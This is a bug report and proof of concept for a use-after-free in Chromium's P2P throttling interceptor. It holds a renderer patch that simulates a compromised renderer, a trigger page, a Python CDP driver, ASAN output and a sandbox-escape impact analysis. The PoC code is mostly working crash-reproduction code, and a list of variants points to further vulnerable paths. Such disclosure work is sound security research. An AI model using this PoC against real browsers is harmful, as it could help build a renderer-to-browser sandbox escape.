- A renderer-side patch that simulates a compromised renderer creating P2P sockets and sending non-STUN data directly over Mojo IPC, bypassing the WebRTC JavaScript APIs. A patch is a small edit to source code. IPC means inter-process communication, one process sending a message to another.
- A minimal HTML page (
poc.html) that the patched renderer recognises as the trigger. - A Python orchestrator (
poc_trigger.py) that uses CDP to enable network throttling.
All process sandboxes remain active. The build is an ASAN-instrumented Chrome:
autoninja -C out/asan-release chrome
This command builds Chrome from source. autoninja is the build tool; -C out/asan-release says the build output goes into a folder called out/asan-release, which is configured to include AddressSanitizer; chrome is the target being built. You need a full copy of the Chromium source code and its build tools for this to work.
The PoC was tested on desktop Linux with an out-of-process Network Service. Adding --enable-features=NetworkServiceInProcess to the launch flags moves the Network Service into the browser process, matching the default Android configuration. A launch flag is an extra word on the command line that changes how Chrome starts.
Finding it
ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer() holds a std::map iterator while calling socket->SendFromInterceptor(). That call is not a leaf function: it can synchronously destroy the socket and erase the iterator's underlying map node via UnregisterSocket(). The subsequent send_packets_.erase(packet_iterator) then operates on freed memory.
"Not a leaf function" means it does not just do its own small job and return; it calls other functions, which call others, and one of those can end up deleting the very thing the caller is still pointing at. "Synchronously" means it all happens immediately, in the same thread, before the original call returns. A thread is one line of execution inside a process; code on one thread runs in order, one instruction after another.
A second observation makes the bug reachable: the interceptor path bypasses the connected_peers_ validation that would normally reject non-STUN data. STUN is a small protocol WebRTC uses first, to work out the network address of the other side before real data flows. Data sent before that handshake finishes is supposed to be refused. When throttling is active, SendPacket() delegates straight to the interceptor without checks, and the validation only runs later inside the timer callback, which is exactly where the reentrant destruction happens. Reentrant means a function ends up being called again, or a callback fires, while an earlier call is still in progress. The receive path in OnReceiveNetworkTimer() contains the same structural pattern.
Exploitation
Step 1: Understand the vulnerable loop
send_packets_ stores pending packets keyed by a monotonically increasing packet ID. When the simulated delay expires, OnSendNetworkTimer() dequeues deliverable packets and processes them one by one: it looks up the entry, calls SendFromInterceptor(), then erases the entry using the same iterator.
// services/network/throttling/[redacted].cc
void ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer() {
int64_t now = webrtc::TimeMicros();
std::vector<webrtc::PacketDeliveryInfo> packets =
send_network_.DequeueDeliverablePackets(now);
for (auto& packet : packets) {
SendPacketMap::iterator packet_iterator =
send_packets_.find(packet.packet_id);
if (packet_iterator == send_packets_.end()) {
continue;
}
P2PSocketUdp* socket = packet_iterator->second.socket;
if (packet.receive_time_us != webrtc::PacketDeliveryInfo::kNotReceived) {
socket->SendFromInterceptor(packet_iterator->second.packet);
// ^ This call may synchronously destroy the socket, which calls
// UnregisterSocket, invalidating packet_iterator.
}
send_packets_.erase(packet_iterator);
// ^ heap-use-after-free: packet_iterator was already invalidated
}
// ...
}
Line by line:
int64_t now = webrtc::TimeMicros();reads the current time in microseconds. This is the clock the simulated delay is measured against.send_network_.DequeueDeliverablePackets(now)asks the simulated network which packets have finished their fake delay and are ready to go out. The result is a list calledpackets.for (auto& packet : packets)walks that list one packet at a time.send_packets_.find(packet.packet_id)looks the packet up in the map and stores a marker,packet_iterator, pointing at the entry.if (packet_iterator == send_packets_.end())checks whether the lookup failed. If it did, the loop skips to the next packet.P2PSocketUdp* socket = packet_iterator->second.socket;pulls the socket object out of the map entry. A socket here is the software object that represents one network endpoint.- The
ifchecks that the packet was actually received (not marked as never received). socket->SendFromInterceptor(...)sends the packet. The comment marks the danger: this call can destroy the socket, and destroying the socket removes the map entry, which makespacket_iteratorpoint at memory that no longer exists.send_packets_.erase(packet_iterator);then tries to remove the entry using that now-stale marker. That is the use-after-free.
Step 2: Follow the synchronous destruction chain
SendFromInterceptor() calls DoSend():
// services/network/p2p/socket_udp.cc
void P2PSocketUdp::SendFromInterceptor(const P2PPendingPacket& packet) {
if (send_pending_) {
send_queue_.push_back(packet);
} else {
std::ignore = DoSend(packet);
}
}
If a send is already in progress (send_pending_), the packet is put on a queue for later. Otherwise DoSend() is called straight away. std::ignore = simply discards the true/false result, because this function does not use it.
When DoSend() sees a packet addressed to a peer that has not completed STUN binding, it treats the packet as non-STUN data and calls OnError():
// services/network/p2p/socket_udp.cc
bool P2PSocketUdp::DoSend(const P2PPendingPacket& packet) {
// ...
if (!connected_peers_.contains(packet.to)) {
P2PSocket::StunMessageType type = P2PSocket::StunMessageType();
bool stun = GetStunPacketType(packet.data->first(packet.size), &type);
if (!stun || type == STUN_DATA_INDICATION) {
LOG(ERROR) << "Page tried to send a data packet to "
<< packet.to.ToString()
<< " before STUN binding is finished.";
OnError();
return false;
}
// ...
}
// ...
}
if (!connected_peers_.contains(packet.to))asks: is the destination missing from the list of peers that have finished the STUN handshake?GetStunPacketType(...)inspects the first bytes of the packet to see whether it is a STUN message and, if so, what kind.if (!stun || type == STUN_DATA_INDICATION)means: either it is not STUN at all, or it is a kind that is not allowed here.- The
LOG(ERROR)line writes a warning to the log saying the page tried to send data before the handshake finished. OnError();is the important call: it starts tearing the socket down.return false;reports that the send failed.
OnError() resets the Mojo receiver and client, then asks the P2PSocketManager to destroy the socket:
// services/network/p2p/socket.cc
void P2PSocket::OnError() {
receiver_.reset();
client_.reset();
delegate_->DestroySocket(this);
}
receiver_ and client_ are the two ends of the Mojo conversation with the renderer. Resetting them closes that conversation. delegate_ is the object that owns the socket, and DestroySocket(this) tells it to get rid of this socket.
DestroySocket() erases the unique_ptr entry from its flat_map, which triggers the P2PSocketUdp destructor:
// services/network/p2p/socket_manager.cc
void P2PSocketManager::DestroySocket(P2PSocket* socket) {
auto iter = sockets_.find(socket);
CHECK(iter != sockets_.end());
sockets_.erase(iter);
}
sockets_ is the manager's own table of live sockets. find locates this one, CHECK aborts the program if it is somehow missing, and erase removes it. A unique_ptr is a smart pointer that owns an object and deletes it automatically when the pointer goes away, so removing the entry runs the socket's destructor, the function that runs when an object is destroyed.
The destructor calls interceptor_->UnregisterSocket(this), which removes every entry in send_packets_ belonging to the destroyed socket using std::erase_if:
// services/network/p2p/socket_udp.cc
P2PSocketUdp::~P2PSocketUdp() {
if (interceptor_) {
interceptor_->UnregisterSocket(this);
}
}
// services/network/throttling/[redacted].cc
void ThrottlingP2PNetworkInterceptor::UnregisterSocket(P2PSocketUdp* socket) {
std::erase_if(send_packets_, [&socket](auto& kv) -> bool {
return kv.second.socket == socket;
});
// ...
}
~P2PSocketUdp() is the destructor. If the socket was registered with an interceptor, it tells the interceptor to forget it. std::erase_if walks the whole map and removes every entry for which the little test function returns true. That test, kv.second.socket == socket, is true exactly for the entries that belong to the socket being destroyed. This is the moment the map entry that packet_iterator pointed at is freed.
The whole chain runs synchronously on the same thread. By the time control returns from SendFromInterceptor() to OnSendNetworkTimer(), the map node that packet_iterator pointed to has already been freed.
Step 3: Note why validation does not help
When DevTools throttling is active, SendPacket() delegates directly to the interceptor without any checks:
// services/network/p2p/socket_udp.cc
bool P2PSocketUdp::SendPacket(base::span<const uint8_t> data,
const P2PPacketInfo& packet_info) {
if (interceptor_) {
P2PPendingPacket packet(packet_info.destination, data,
packet_info.packet_options, packet_info.packet_id);
interceptor_->EnqueueSend(std::move(packet), this);
return true; // bypasses all validation
}
// normal path with connected_peers_ check in DoSend...
}
If an interceptor is attached, the packet is wrapped up and handed to EnqueueSend, which stores it in the map and starts the delay timer. The function returns true immediately, so the caller believes the send succeeded. The connected_peers_ check only runs later, inside the timer callback, which is where the reentrant destruction occurs. In other words, the safety check exists but has been moved to the worst possible place.
Step 4: Reach the Network Service over Mojo
Once the attacker has renderer code execution through a separate renderer vulnerability, the compromised renderer talks to the Network Service directly over Mojo IPC, with no JavaScript or WebRTC API involvement. An API is a defined set of operations one piece of software offers to another. The relevant interface is small:
// services/network/public/mojom/p2p.mojom
interface P2PSocketManager {
CreateSocket(P2PSocketType type,
IPEndPoint local_address,
P2PPortRange port_range,
P2PHostAndIPEndPoint remote_address,
MutableNetworkTrafficAnnotationTag traffic_annotation,
mojo_base.mojom.UnguessableToken? devtools_token,
pending_remote<P2PSocketClient> client,
pending_receiver<P2PSocket> socket);
};
interface P2PSocket {
Send(mojo_base.mojom.ReadOnlyBuffer data,
P2PPacketInfo packet_info);
};
This is a Mojo interface definition. It is not code that runs; it is a contract that says which messages can be sent and what arguments they carry. P2PSocketManager offers one operation, CreateSocket, which asks for a socket of a given type, with a local address, a port range, a remote address, a traffic annotation (a label describing why the traffic exists), a devtools_token, and the two ends of the conversation. P2PSocket offers Send, which takes a buffer of bytes and packet information.
A token here is a random, unguessable value used as a key. Chrome gives each frame a devtools_token so that DevTools settings, including throttling, can be tied to the right page. It is not a login credential; it is an identifier that the Network Service uses to look up which DevTools conditions apply.
The renderer calls CreateSocket with P2PSocketType::UDP and the frame's devtools_token. Because throttling is active under that token, the socket is created with a non-null interceptor_ pointer. The renderer then calls P2PSocket::Send with non-STUN data addressed to an arbitrary destination. The interceptor buffers the packet, and when its delay timer fires, the chain above triggers the heap-use-after-free. The whole sequence completes within a single timer tick, with no user interaction beyond having DevTools throttling enabled.
Step 5: Apply the renderer patch
The patch simulates the compromised renderer. It adds the Mojo includes, a small PocP2PSocketClient class, and a trigger in DidFinishLoad() that fires only for the top-level frame whose URL contains poc.html.
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -117,6 +117,14 @@
#include "base/debug/dump_without_crashing.h"
#include "base/feature_list.h"
#include "base/logging.h"
+// === PoC includes ===
+#include "services/network/public/mojom/p2p.mojom.h"
+#include "services/network/public/cpp/p2p_socket_type.h"
+#include "mojo/public/cpp/bindings/remote.h"
+#include "mojo/public/cpp/bindings/receiver.h"
+#include "net/traffic_annotation/network_traffic_annotation.h"
+// === END PoC includes ===
+
#include "base/memory/weak_ptr.h"
#include "base/metrics/field_trial.h"
#include "base/metrics/field_trial_params.h"
@@ -3856,6 +3864,72 @@ void RenderFrameImpl::DidFailLoad(const WebURLError& error,
// ...
}
+// === Compromised renderer PoC: direct Mojo P2P socket creation ===
+namespace {
+
+class PocP2PSocketClient : public network::mojom::P2PSocketClient {
+ public:
+ PocP2PSocketClient() = default;
+ ~PocP2PSocketClient() override = default;
+
+ mojo::PendingRemote<network::mojom::P2PSocketClient> Bind() {
+ return receiver_.BindNewPipeAndPassRemote();
+ }
+
+ mojo::Remote<network::mojom::P2PSocket>& socket() { return socket_; }
+ mojo::PendingReceiver<network::mojom::P2PSocket> BindSocket() {
+ return socket_.BindNewPipeAndPassReceiver();
+ }
+
+ void SocketCreated(const net::IPEndPoint& local_address,
+ const net::IPEndPoint& remote_address) override {
+ LOG(ERROR) << "POC: P2P socket created, local=" << local_address.ToString()
+ << ", sending non-STUN data";
+ uint8_t fake_data[64] = {};
+ std::fill(std::begin(fake_data), std::end(fake_data),
+ static_cast<uint8_t>(0x41));
+ net::IPEndPoint target(net::IPAddress(10, 0, 0, 1), 9999);
+ for (int i = 0; i < 5; i++) {
+ network::P2PPacketInfo info;
+ info.destination = target;
+ info.packet_id = i + 1;
+ socket_->Send(fake_data, info);
+ }
+ LOG(ERROR) << "POC: Sent 5 non-STUN packets via Mojo";
+ }
+ void SendComplete(
+ const network::P2PSendPacketMetrics& send_metrics) override {}
+ void SendBatchComplete(
+ const std::vector<network::P2PSendPacketMetrics>& metrics) override {}
+ void DataReceived(
+ std::vector<network::mojom::P2PReceivedPacketPtr> packets) override {}
+
+ private:
+ mojo::Receiver<network::mojom::P2PSocketClient> receiver_{this};
+ mojo::Remote<network::mojom::P2PSocket> socket_;
+};
+
+// Static raw pointers so they outlive DidFinishLoad (intentional leak for PoC)
+static PocP2PSocketClient* g_poc_client = nullptr;
+static mojo::Remote<network::mojom::P2PSocketManager>* g_poc_manager = nullptr;
+
+} // namespace
+// === END compromised renderer PoC ===
+
void RenderFrameImpl::DidFinishLoad() {
TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad",
"frame_token", frame_token_);
@@ -3870,6 +3934,37 @@ void RenderFrameImpl::DidFinishLoad() {
for (auto& observer : observers_)
observer.DidFinishLoad();
+ // === Compromised renderer PoC trigger ===
+ if (!frame_->Parent() && !g_poc_client) {
+ std::string url = frame_->GetDocument().Url().GetString().Utf8();
+ if (url.find("poc.html") != std::string::npos) {
+ LOG(ERROR) << "POC: Page loaded, will create P2P socket in 3s "
+ << "(waiting for CDP to set throttling)";
+
+ g_poc_manager = new mojo::Remote<network::mojom::P2PSocketManager>();
+ GetBrowserInterfaceBroker().GetInterface(
+ g_poc_manager->BindNewPipeAndPassReceiver());
+ base::UnguessableToken token = devtools_frame_token_;
+
+ base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask(
+ FROM_HERE,
+ base::BindOnce([](base::UnguessableToken token) {
+ LOG(ERROR) << "POC: Creating P2P socket via Mojo directly";
+ g_poc_client = new PocP2PSocketClient();
+ net::IPEndPoint local_addr(net::IPAddress::IPv4AllZeros(), 0);
+ network::P2PHostAndIPEndPoint remote_info;
+
+ (*g_poc_manager)->CreateSocket(
+ network::P2P_SOCKET_UDP,
+ local_addr,
+ network::P2PPortRange(0, 0),
+ remote_info,
+ net::MutableNetworkTrafficAnnotationTag(
+ net::DefineNetworkTrafficAnnotation("poc_p2p", R"()")),
+ token,
+ g_poc_client->Bind(),
+ g_poc_client->BindSocket());
+
+ LOG(ERROR) << "POC: CreateSocket called with devtools_token="
+ << token.ToString();
+ }, token),
+ base::Seconds(3));
+ }
+ }
+ // === END PoC trigger ===
+
// Don't send this message while the frame is swapped out.
What the patch does, part by part:
- The
#includelines pull in the definitions the new code needs: the Mojo P2P interface, the socket type constants, Mojo's remote and receiver helpers, and the traffic annotation helper. class PocP2PSocketClientis a small object that acts as the renderer's end of the conversation.Bind()andBindSocket()create the two ends of the Mojo pipe and hand them over.SocketCreatedis called by the Network Service once the socket exists. It fills a 64-byte buffer with the byte0x41(the letter A), sets the destination to[redacted]port9999, and sends five packets with packet IDs 1 to 5. The data is deliberately not STUN, which is what triggers the error path.SendComplete,SendBatchCompleteandDataReceivedare required by the interface but do nothing here.- The two
staticpointers keep the client and the manager alive afterDidFinishLoadreturns. The comment says the leak is intentional for the PoC. - Inside
DidFinishLoad, theifchecks that this is the top-level frame (!frame_->Parent()) and that the trigger has not already run. - The URL is read and checked for
poc.html, so only the test page triggers anything. GetBrowserInterfaceBroker().GetInterface(...)asks the browser for a connection to theP2PSocketManagerservice.devtools_frame_token_is copied intotoken, so the socket can be tied to the throttling settings for this frame.PostDelayedTask(..., base::Seconds(3))schedules the socket creation three seconds later. The delay exists so the Python script has time to switch throttling on first.- Inside the delayed task,
CreateSocketis called with UDP, a wildcard local address, an empty port range, an empty remote address, a traffic annotation, the token, and the two pipe ends.
The patch calls P2PSocketManager::CreateSocket and P2PSocket::Send directly over Mojo, without WebRTC JavaScript APIs or the FilteringNetworkManager permission checks the normal path requires. The 3-second delay in DidFinishLoad gives the CDP orchestrator time to enable throttling before the socket is created. devtools_frame_token_ is passed to CreateSocket so the Network Service associates the socket with the active throttling conditions and engages the interceptor. In SocketCreated, the client sends five 64-byte non-STUN packets to [redacted]:9999.
Step 6: Serve the trigger page
<!DOCTYPE html>
<html>
<head><title>P2P Interceptor Iterator Invalidation UAF</title></head>
<body>
<h2>P2P Interceptor Iterator Invalidation UAF</h2>
<pre id="log"></pre>
<script>
// The compromised renderer patch in render_frame_impl.cc creates P2P sockets
// directly via Mojo on page load. No WebRTC JS API needed.
document.getElementById('log').textContent =
'Page loaded. Renderer patch will create P2P sockets via Mojo directly.\n' +
'If throttling is active, ASAN should report heap-use-after-free.\n';
</script>
</body>
</html>
This is an ordinary web page. The <pre id="log"> element is an empty box for text. The script finds that box and fills it with two lines of status text. The page itself does nothing beyond loading; the patched renderer recognises the poc.html URL and schedules the socket creation.
Step 7: Drive Chrome with CDP
The orchestrator starts an HTTP server, launches ASAN Chrome with remote debugging, navigates to the page first, then enables throttling so it survives navigation, and waits for the delayed task and timer to fire.
#!/usr/bin/env python3
"""
PoC Trigger: P2P Interceptor Iterator Invalidation UAF
1. Starts HTTP server for poc.html
2. Launches Chrome with ASAN + remote debugging
3. Navigates to PoC page FIRST (wait for load)
4. THEN enables network throttling via CDP (so it survives navigation)
5. THEN the patched renderer creates P2P sockets via Mojo directly
6. Timer fires -> OnSendNetworkTimer -> iterator invalidation -> UAF
"""
import json
import http.server
import threading
import subprocess
import sys
import os
import tempfile
import time
import urllib.request
import socket
import base64
import struct
CHROME = os.path.expanduser("~/chromium/src/out/asan-release/chrome")
HTTP_PORT = 8899
CDP_PORT = 9222
LOG_FILE = "/tmp/poc-p2p-interceptor.log"
# Minimal sync WebSocket client (no external deps)
class MiniWS:
def __init__(self, url):
url = url.replace("ws://", "")
host_port, self.path = url.split("/", 1)
self.path = "/" + self.path
self.host, port = host_port.split(":")
self.port = int(port)
self.sock = socket.create_connection((self.host, self.port))
self.sock.settimeout(15)
self._handshake()
def _handshake(self):
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n"
)
self.sock.sendall(req.encode())
resp = b""
while b"\r\n\r\n" not in resp:
resp += self.sock.recv(4096)
if b"101" not in resp.split(b"\r\n")[0]:
raise Exception(f"WS handshake failed: {resp[:200]}")
def send(self, data):
payload = data.encode() if isinstance(data, str) else data
mask_key = os.urandom(4)
length = len(payload)
header = bytearray()
header.append(0x81)
if length < 126:
header.append(0x80 | length)
elif length < 65536:
header.append(0x80 | 126)
header += struct.pack(">H", length)
else:
header.append(0x80 | 127)
header += struct.pack(">Q", length)
header += mask_key
masked = bytearray(b ^ mask_key[i % 4] for i, b in enumerate(payload))
self.sock.sendall(bytes(header) + bytes(masked))
def recv(self):
def read_exact(n):
buf = b""
while len(buf) < n:
chunk = self.sock.recv(n - len(buf))
if not chunk:
raise Exception("WS connection closed")
buf += chunk
return buf
hdr = read_exact(2)
length = hdr[1] & 0x7f
if length == 126:
length = struct.unpack(">H", read_exact(2))[0]
elif length == 127:
length = struct.unpack(">Q", read_exact(8))[0]
return read_exact(length).decode()
def close(self):
try:
self.sock.close()
except Exception:
pass
class Handler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *a, **kw):
super().__init__(*a, directory=os.path.dirname(os.path.abspath(__file__)), **kw)
def log_message(self, *a):
pass
def start_http():
srv = http.server.HTTPServer(("[redacted]", HTTP_PORT), Handler)
srv.serve_forever()
def wait_for_cdp(timeout=30):
for _ in range(timeout * 2):
try:
resp = urllib.request.urlopen(f"http://[redacted]:{CDP_PORT}/json")
return json.loads(resp.read())
except Exception:
time.sleep(0.5)
return None
def main():
# HTTP server
threading.Thread(target=start_http, daemon=True).start()
print(f"[+] HTTP server on :{HTTP_PORT}")
# Launch Chrome - redirect stderr to file to avoid pipe buffer blocking
user_data = tempfile.mkdtemp(prefix="poc-p2p-")
cmd = [
CHROME,
"--disable-gpu",
f"--remote-debugging-port={CDP_PORT}",
f"--user-data-dir={user_data}",
"--headless",
"--enable-logging=stderr",
"--v=1",
"about:blank",
]
env = os.environ.copy()
env["ASAN_OPTIONS"] = "detect_odr_violation=0"
print(f"[+] Launching Chrome...")
stderr_file = open(LOG_FILE, "w")
proc = subprocess.Popen(cmd, env=env, stderr=stderr_file, stdout=subprocess.DEVNULL)
# Wait for CDP
print("[*] Waiting for CDP...")
targets = wait_for_cdp()
if not targets:
print("[-] CDP timeout")
proc.terminate()
stderr_file.close()
return
page = next((t for t in targets if t.get("type") == "page"), None)
if not page:
print("[-] No page target")
proc.terminate()
stderr_file.close()
return
ws_url = page["webSocketDebuggerUrl"]
print(f"[+] CDP target: {ws_url}")
ws = MiniWS(ws_url)
msg_id = 0
def cdp(method, params=None):
nonlocal msg_id
msg_id += 1
mid = msg_id
msg = {"id": mid, "method": method}
if params:
msg["params"] = params
ws.send(json.dumps(msg))
while True:
raw = ws.recv()
resp = json.loads(raw)
if resp.get("id") == mid:
return resp
def wait_for_event(name, timeout=10):
"""Read CDP messages until we see the named event."""
old_timeout = ws.sock.gettimeout()
ws.sock.settimeout(timeout)
try:
while True:
raw = ws.recv()
msg = json.loads(raw)
if msg.get("method") == name:
return msg
except socket.timeout:
return None
finally:
ws.sock.settimeout(old_timeout)
try:
# Step 1: Navigate to poc.html and wait for it to fully load
r = cdp("Page.enable")
p
What the script does, in order:
- The constants at the top set the path to the ASAN Chrome binary, the port for the local web server (8899), the port for Chrome's debugging interface (9222) and the log file.
MiniWSis a tiny WebSocket client written from scratch, so the script needs no extra Python packages. A WebSocket is a two-way connection that stays open, which is how CDP messages flow._handshakesends the opening HTTP request with a randomSec-WebSocket-Keyand checks for the101reply, which means the upgrade was accepted.sendandrecvwrap messages in the WebSocket frame format, including the masking that clients must apply.Handlerserves files from the script's own folder, sopoc.htmlis reachable.start_httpruns that server in a background thread.wait_for_cdppollshttp://[redacted]:9222/jsonuntil Chrome answers with its list of debuggable targets.- In
main, Chrome is launched headless (no visible window) with remote debugging on, a temporary profile folder, logging to stderr, andabout:blankas the first page. Stderr goes to a file so a full pipe cannot block Chrome. - The script picks the page target, opens a WebSocket to it, and defines
cdp, which sends a command with a number and waits for the reply with the same number.wait_for_eventwaits for a named event such asPage.loadEventFired. Page.enableturns on page-related events.Page.navigateopens the test page. The script waits for the load event.- Only then does it call
Network.enableandNetwork.emulateNetworkConditionswithlatency50,downloadThroughput1000000 anduploadThroughput1000000. This is the throttling switch. - It then sleeps 20 seconds, which is enough for the renderer's 3-second delayed task, the interceptor's timer and the crash.
- Finally it stops Chrome, reads the log, and prints any lines that look like an ASAN report or a PoC marker.
The key ordering is deliberate: navigation happens first, then Network.enable and Network.emulateNetworkConditions with 50 ms latency and 1,000,000 bytes/s up and down, so throttling is active when the renderer's 3-second delayed task creates the socket. The script then waits 20 seconds for the delayed task, the interceptor timer and the crash.
Step 8: Run it
python3 poc_trigger.py
This runs the script with Python 3. Output:
[+] HTTP server on :8899
[+] Launching Chrome...
[*] Waiting for CDP...
[+] CDP target: ws://[redacted]:9222/devtools/page/...
[+] Page.enable: id=1
[+] Page.navigate: id=2
[+] Page loaded successfully
[+] Network.enable: id=3
[+] Network.emulateNetworkConditions: id=4
[*] Throttling active. Renderer will create P2P sockets in ~3s. Waiting for crash (20s)...
[!!!] ASAN report detected!
Each line is a progress marker: the server started, Chrome launched, the debugging interface answered, the page loaded, throttling was switched on, and then ASAN reported the crash.
Step 9: Read the ASAN report
The report shows a heap-use-after-free with a READ of size 8 on thread T5 (Chrome_ChildIOT). The top frame is network::ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer(), reached through base::OneShotTimer::RunUserTask(). The freed region was released by the same thread in UnregisterSocket, called from the P2PSocketUdp destructor, which was reached from P2PSocketManager::DestroySocket, P2PSocket::OnError() and P2PSocketUdp::DoSend(), itself called from OnSendNetworkTimer(). The allocation stack shows the map node being created in EnqueueSend, reached from P2PSocketUdp::SendPacket, P2PSocketUdp::Send and the Mojo dispatch for P2PSocket.
An ASAN report has three stacks. The first is where the bad access happened. The second is where the memory was freed. The third is where it was originally allocated. Reading them together tells the whole story: the same thread allocated the map entry, freed it inside the send call, and then read it again after the call returned.
The thread creation stack identifies content::UtilityMain, confirming the crash is in the utility process on this Linux run, and the browser process logged "Network service crashed or was terminated, restarting service". The summary line reads:
SUMMARY: AddressSanitizer: heap-use-after-free gen/third_party/libc++/src/include/__tree:208:12 in network::ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer()
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
MiraclePtr is a Chrome defence against use-after-free bugs, but here it reports that the region was not protected and the crash remains exploitable. Here it reports that the region was not protected by it, so the crash remains exploitable.
Root cause
The mistake is holding a std::map iterator across a call that can synchronously destroy the object owning the map entry. SendFromInterceptor() is not a leaf: through DoSend() and OnError() it can reach DestroySocket(), the P2PSocketUdp destructor and UnregisterSocket(), which erases the very node packet_iterator points to. The subsequent send_packets_.erase(packet_iterator) then touches freed memory.
The existing connected_peers_ validation does not prevent this because the interceptor path in SendPacket() returns early when interceptor_ is set, deferring the check to the timer callback, which is exactly where the reentrant destruction happens. The receive path in OnReceiveNetworkTimer() has the same structural pattern.
Impact
The impact depends on where the Network Service runs. Chromium controls this with the kNetworkServiceInProcess feature flag. A feature flag is a named on/off switch compiled into Chrome that decides whether a feature is used.
// content/public/common/content_features.cc
BASE_FEATURE(kNetworkServiceInProcess,
"NetworkServiceInProcess2",
#if BUILDFLAG(IS_ANDROID)
base::FEATURE_ENABLED_BY_DEFAULT
#else
base::FEATURE_DISABLED_BY_DEFAULT
#endif
);
This declares the flag. On Android builds it is on by default; everywhere else it is off by default.
The runtime decision is in IsInProcessNetworkServiceImpl(). On Android, devices with 1 GB of RAM or less are forced into in-process mode regardless of the flag:
// content/browser/network/network_service_util_internal.cc
constexpr base::ByteCount kNetworkServiceOutOfProcessThreshold =
base::MiB(1077);
bool IsInProcessNetworkServiceImpl() {
if (base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kSingleProcess)) {
return true;
}
if (g_force_network_service_process_in_or_out) {
return *g_force_network_service_process_in_or_out;
}
#if BUILDFLAG(IS_ANDROID)
if (base::SysInfo::AmountOfPhysicalMemory() <=
kNetworkServiceOutOfProcessThreshold) {
return true;
}
#endif
return base::FeatureList::IsEnabled(features::kNetworkServiceInProcess);
}
kNetworkServiceOutOfProcessThresholdis set to 1077 MiB, a little over 1 GB.- If Chrome was started with the
--single-processswitch, everything runs in one process, so the answer is yes. - If a test override is set, that value wins.
- On Android, if the device has 1077 MiB of memory or less, the answer is yes.
- Otherwise the feature flag decides.
On Android the Network Service runs in-process within the browser by default, and OnSendNetworkTimer() executes on the browser process's IO thread. The heap-use-after-free therefore corrupts browser process memory directly, with no intermediate sandbox boundary: a compromised renderer achieves a direct renderer-to-browser sandbox escape.
On desktop (Linux, Windows, macOS) the Network Service runs as a separate utility process, but the Network Service sandbox is disabled by default on Linux and Windows:
// sandbox/policy/features.cc
#if !BUILDFLAG(IS_MAC) && !BUILDFLAG(IS_FUCHSIA)
// Enables network service sandbox.
// (Only causes an effect when feature kNetworkServiceInProcess is disabled.)
BASE_FEATURE(kNetworkServiceSandbox, base::FEATURE_DISABLED_BY_DEFAULT);
This declares the sandbox flag as off by default on every platform except macOS and Fuchsia. The comment notes it only matters when the Network Service is not already running in-process.
On macOS and Fuchsia the sandbox is always enabled and does not depend on this flag. On desktop Linux and Windows, because kNetworkServiceSandbox defaults to disabled, code execution in the Network Service process is effectively equivalent to unsandboxed code execution. On macOS the attacker would still need to escape the Network Service sandbox after gaining code execution there.
The throttling precondition is realistic. Web developers routinely enable throttling through the DevTools Network panel (for example "Slow 3G" or "Fast 3G") while debugging, and automated testing frameworks such as Puppeteer and Playwright enable throttling via CDP as part of their test harnesses. The attacker does not need to control the throttling setup; they only need the victim to visit attacker-controlled content while throttling is already active. The Python CDP script in the PoC is only needed for self-contained reproducibility.
Fix
The report does not describe a fix or a patch.
Variants to test
- The receive path.
OnReceiveNetworkTimer()has the same structural pattern. A positive result is an ASAN heap-use-after-free whose free stack goes throughUnregisterSocketand whose use stack is in the receive timer callback. - Other interceptor callbacks that hold iterators across socket calls. Look for any timer or callback in the throttling code that keeps a container iterator while invoking a socket method. A positive result is a crash where the free and the use happen on the same thread within one callback.
- Other platforms and configurations. Run the same PoC with
--enable-features=NetworkServiceInProcesson desktop to match the Android default, and on Android itself. A positive result is the same ASAN report but with the crash occurring in the browser process rather than the utility process. - Other reentrant destruction paths. Any socket method that can reach
OnError()orDestroySocket()synchronously is a candidate. A positive result is a crash where the destruction stack passes throughDoSendandOnErrorinto the same callback that made the call. - Other
std::erase_ifbased unregistration. Any component that erases entries from a container owned by a caller currently iterating it is worth checking. A positive result is an iterator invalidation that ASAN reports as a use-after-free on the erased node.
Glossary
- API: a defined set of operations one piece of software offers to another.
- ASAN (AddressSanitizer): a debugging tool in special test builds that detects and reports invalid memory access.
- Bounty: money paid by a company for a valid security report.
- CDP (Chrome DevTools Protocol): the message protocol DevTools and automation tools use to control Chrome.
- Chrome VRP: Google's Chrome Vulnerability Reward Program, which pays for security reports.
- Commit: a recorded change to a source code repository.
- Compromised renderer: a renderer process that an attacker already controls through some other bug.
- CVE: a public identifier for a known security vulnerability.
- Destructor: the function that runs when an object is destroyed.
- DevTools: the developer tools built into Chrome, opened with F12 or the menu.
- Feature flag: a named on/off switch in Chrome that decides whether a feature is used.
- Heap: the area of memory where a program stores objects it creates while running.
- Heap-use-after-free: using a piece of heap memory after it has been freed.
- Interceptor: code that sits between two others and can delay, inspect or modify what passes through.
- IPC: inter-process communication, one process sending messages to another.
- Iterator: a marker pointing at one entry in a collection, used to refer to it again later.
- Launch flag: an extra word on a program's command line that changes how it starts.
- MiraclePtr: a Chrome defence that makes some use-after-free bugs harder to exploit.
- Mojo: Chrome's internal messaging system between processes.
- P2P (peer to peer): two computers communicating directly rather than through a central server.
- Patch: a small edit to source code.
- PoC (proof of concept): a program that demonstrates a bug.
- Reentrant: a function or callback being entered again while an earlier call is still in progress.
- Sandbox: an isolation boundary that limits what a process can do if it is taken over.
- Socket: the software object representing one network endpoint.
- STUN: a small protocol WebRTC uses first to discover network addresses before real data flows.
- Synchronous: happening immediately, in order, before the current call returns.
- Thread: one line of execution inside a process.
- Throttling: simulating a slow network so a site can be tested under poor conditions.
- Token: a random, unguessable value used as a key to look something up.
- Use-after-free: a vulnerability where a program uses memory after releasing it.
